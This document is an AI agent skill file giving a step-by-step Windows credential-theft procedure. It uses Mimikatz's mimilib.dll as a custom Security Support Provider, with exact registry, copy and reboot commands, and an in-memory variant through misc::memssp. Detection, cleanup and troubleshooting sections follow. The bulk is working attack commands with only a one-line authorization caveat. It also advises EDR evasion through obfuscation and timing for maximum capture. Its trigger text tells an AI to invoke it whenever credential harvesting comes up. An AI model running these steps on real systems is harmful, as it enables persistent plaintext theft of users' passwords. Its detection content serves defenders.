custom-ssp-credential-capture

name

custom-ssp-credential-capture

description

How to capture Windows credentials in clear text using a custom Security Support Provider (SSP) with Mimikatz. Use this skill whenever you need to extract credentials from a Windows system during authorized penetration testing, red teaming, or security assessments. Trigger this when the user mentions credential harvesting, LSA security packages, mimilib, SSP injection, or needs to capture authentication credentials on Windows systems.

Custom SSP Credential Capture

This skill teaches you how to create a custom Security Support Provider (SSP) to capture Windows credentials in clear text using Mimikatz's mimilib.dll.

⚠️ Authorization Required

Only use this technique on systems you own or have explicit written authorization to test. Unauthorized credential capture is illegal and violates computer crime laws.

What is an SSP?

A Security Support Provider (SSP) is a DLL that implements the Security Support Provider Interface (SSPI). Windows loads these DLLs during authentication to handle various security protocols. By registering a custom SSP, you can intercept and log all authentication attempts.

Method 1: File-Based SSP (Persistent)

This method drops mimilib.dll to disk and modifies the registry. It survives reboots.

Step 1: Deploy mimilib.dll

Copy mimilib.dll from Mimikatz to the system directory:

# From attacker machine or after uploading Mimikatz
Copy-Item .\mimilib.dll C:\Windows\System32\mimilib.dll

Step 2: Check Current Security Packages

View the existing LSA Security Packages:

reg query HKLM\System\CurrentControlSet\Control\Lsa /v "Security Packages"

Expected output:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
    Security Packages    REG_MULTI_SZ    kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u

Step 3: Add mimilib to Security Packages

Append mimilib to the Security Packages list:

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /f

Important: The order matters. Add mimilib at the end of the list with \0 separator.

Step 4: Reboot the System

The SSP is only loaded during system boot:

shutdown /r /t 0

Step 5: Harvest Credentials

After reboot, credentials are logged in clear text:

Get-Content C:\Windows\System32\kiwissp.log

The log file contains all authentication attempts with usernames, passwords, and hashes in plaintext.

Method 2: In-Memory SSP (Non-Persistent)

This method injects the SSP directly into memory using Mimikatz. No files are written, but it doesn't survive reboots.

Run Mimikatz Commands

privilege::debug
misc::memssp

Notes:

• This method is less stable and may not work on all systems
• No reboot required
• Credentials are captured until the system is rebooted or Mimikatz is closed
• No forensic artifacts on disk (except Mimikatz process)

Comparison

Aspect	File-Based	In-Memory
Persistence	Survives reboot	Lost on reboot
Disk Artifacts	mimilib.dll, kiwissp.log	None
Stability	High	Variable
Detection Risk	Higher (file + registry)	Lower
Use Case	Long-term access	Quick credential dump

Mitigation & Detection

Event ID 4657

Monitor for registry changes to Security Packages:

Event ID: 4657
Object Name: HKLM\System\CurrentControlSet\Control\Lsa\SecurityPackages

Detection Queries

Registry modification:

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4657} | 
  Where-Object {$_.Message -like '*SecurityPackages*'}

File monitoring:

• Alert on new files in C:\Windows\System32\ matching *.dll
• Alert on creation of kiwissp.log

EDR/AV:

• Most modern EDRs detect Mimikatz and SSP injection
• Consider using custom loaders or obfuscation (advanced)

Cleanup

Remove File-Based SSP

# Remove mimilib from registry
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u" /f

# Delete the DLL
Remove-Item C:\Windows\System32\mimilib.dll

# Delete the log
Remove-Item C:\Windows\System32\kiwissp.log

# Reboot
shutdown /r /t 0

Remove In-Memory SSP

Simply reboot the system or close Mimikatz.

Troubleshooting

SSP Not Loading

1. Verify registry entry is correct (check for typos)
2. Ensure mimilib.dll is in System32
3. Check file permissions on mimilib.dll
4. Verify the DLL matches the system architecture (x64 vs x86)

No Credentials in Log

1. Wait for authentication events (logins, service starts)
2. Check if SSP is actually loaded: reg query HKLM\System\CurrentControlSet\Control\Lsa /v "Security Packages"
3. Verify the system was rebooted after registry change

System Won't Boot

If the SSP causes boot failure:

1. Boot into Safe Mode
2. Remove mimilib from Security Packages registry key
3. Delete mimilib.dll
4. Reboot normally

Best Practices

1. Always have an exit strategy - Know how to clean up before deploying
2. Test in a lab first - SSP injection can cause system instability
3. Document everything - For authorized engagements, document the technique used
4. Consider alternatives - Sometimes sekurlsa::logonpasswords is sufficient and less risky
5. Time it right - Deploy before peak authentication activity for maximum capture

Related Techniques

• sekurlsa::logonpasswords - Extract credentials from LSASS memory
• lsadump::sam - Dump SAM database for local accounts
• lsadump::secrets - Extract system secrets
• mimikatz::token::elevate - Token manipulation for privilege escalation